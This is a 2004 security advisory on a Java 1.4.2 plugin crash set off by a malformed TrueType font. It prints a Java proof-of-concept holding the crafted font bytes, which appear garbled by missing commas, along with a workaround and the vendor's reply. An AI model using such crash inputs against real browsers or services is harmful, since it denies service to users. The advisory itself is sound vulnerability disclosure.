Harmful applet crashing with assertion

Security Advisory

this is a Java One special

Three months ago I informed Sun Microsystems about an applet alerting with a native assertion (Expression: offset < fFileSize For information on how your program can cause an assertion failure, see the Visual C++ documentation on asserts...) . If the users opts for cancel, it is crashing the browser which started the applet. This Applet crashes 1.4.2 Java Plugin Again a java problem in a browser, tested with a broad range of versions of the SUN JDK (1.4.1_07, 1.4.2_03).

Discovery date

5 April 2004

Vendor (Sun) informed

5 April 2004

Release Date

25 June 2004

Code

import java.awt.Font;
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;

/*
 * Created on 04.05.2005
 *
 */

/**
 @author Marc Schoenefeld 
 *
 */
public class CopyOfFontLoad {
  static char buff[] {
        0x000x010x000x000x000xff0xff0x300x000x030x000xb0,
        0x1f0x530x2f0x320x8f0x5e0x500x540x000x010x0a0xc8,
        0x000x000x000x4e0x630x6d0x610x700x680xbf0x630xf6,
        0x000x000xf60x7c0x000x000x040x820x630x760x740x20,
        0x710xc40xbd0x290x000x000x060x080x000x000x020x26,
        0x660x700x670x6d0x830x330xc20x4f0x000x000x050xf4,
        0x000x000x000x140x670x6c0x790x660xb50x2b0x960x27,
        0x000x000x080xac0x000x000xe30xfc0x680x640x6d0x78,
        0x550x170x530x1a0x000x000xfb0x000x000x000x0f0xc8,
        0x680x650x610x640xde0xf40x470x270x000x000x0b0x18,
        0x000x000x000x360x680x680x650x610x270xe10x210xd6,
        0x000x000x0b0x500x000x000x000x240x680x6d0x740x78,
        0xf70xbd0x000x360x000x000xf00x880x000x000x030xdc,
        0x6c0x6f0x630x610x000xa10xa70x4c0x000x000xec0xa8,
        0x000x000x030xe00x6d0x610x780x700x040x3b0x0c0x9f,
        0x000x010x0b0x740x000x000x000x200x6e0x610x6d0x65,
        0x320x9b0x330x2c0x000x000x000xec0x000x000x050x07,
        0x700x6f0x730x740x930x460x8e0xbf0x000x000xff0xff,
        0x000x000x020x160x700x720x650x700xa70x080x530x8b,
        0x000x000x080x300x000x000x000x7a0x000x000x000x15,
        0x010x020x000x000x000x000x000x000x000x000x010xbc,
        0x000xde0x000x000x000x000x000x000x000x010x000x18,
        0x020xa60x000x000x000x000x000x000x000xff0x000xff,
        0xff0xff0x000x000x000x000x000x000x000x030x000x54,
        0x030x210x000x000x000x000x000x000x000x040x000x18,
        0x020xdf0x000x000x000x000x000x000x000x050x000x48,
        0x030x990x000x000x000x000x000x000x000x060x000xff,
        0xff0xff0x000x010x000x000x000x000x000x000x000xde,
        0x000x000x000x010x000x000x000x000x000x010x000x0c,
        0x020x9a0x000x010x000x000x000x000x000x020x000x07,
        0x020xbe0x000x010x000x000x000x000x000xff0x000xff,
        0xff0xff0x000xff0x000x000x000x000x000xff0x000x0c,
        0x020xd30x000x010x000x000x000x000x000x050x000xff,
        0xff0xff0x000xff0x000x000x000x000x000xff0x000x7f,
        0xff0xff0x000xff0x000xff0xff0xff0x000x000xff0xff,
        0x000xff0x000x030x000x010x040x090x000x010x000x18,
        0x020xa60x000x030x000x010x040x090x000x020x000x0e,
        0x020xc50x000x030x000x010x040x090x000x030x000xff,
        0xff0xff0x000x030x000x010x040x090x000x040x000x18,
        0x020xff0x000x030x000x010x040x090x000x050x000x48,
        0x030x990x000x030x000x010xff0x090x000x060x000x18,
        0x030xed0x620x610x640x660x6f0x6e0x740x6e0x210x21,
        0x210x210x210x210x210x210x210x21
      };
  static byte[] b = new String(buff).getBytes();
  public static void main(String[] argsthrows Exception{
    ByteArrayInputStream bais = new ByteArrayInputStream(b)
    Font f = Font.createFont(0,bais);
    System.out.println(f.getMissingGlyphCode());

  }
}
Java2html

Solution

Until a patch becomes available, disable Java by going to: File -> Preferences -> Multimedia, and uncheck the "Enable Java" item.

Sun's Reaction (one year later the bug report)

Hi Marc Schoenefeld,

already fixed in JDK 1.5 

% java -version
java version "1.5.0_01"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_01-b08)
% java CopyOfFontLoad
Exception in thread "main" java.awt.FontFormatException: bad table, tag=525545266
        at sun.font.TrueTypeFont.init(TrueTypeFont.java:422)
        at sun.font.TrueTypeFont.(TrueTypeFont.java:154)
        at sun.font.FontManager.createFont2D(FontManager.java:1457)
        at java.awt.Font.(Font.java:438)
        at java.awt.Font.createFont(Font.java:745)
        at CopyOfFontLoad.main(CopyOfFontLoad.java:67)

Regards,
Phil
In other words: 1.4.2_0x is one year after the bug report still vulnerable, what a shame! [Marc]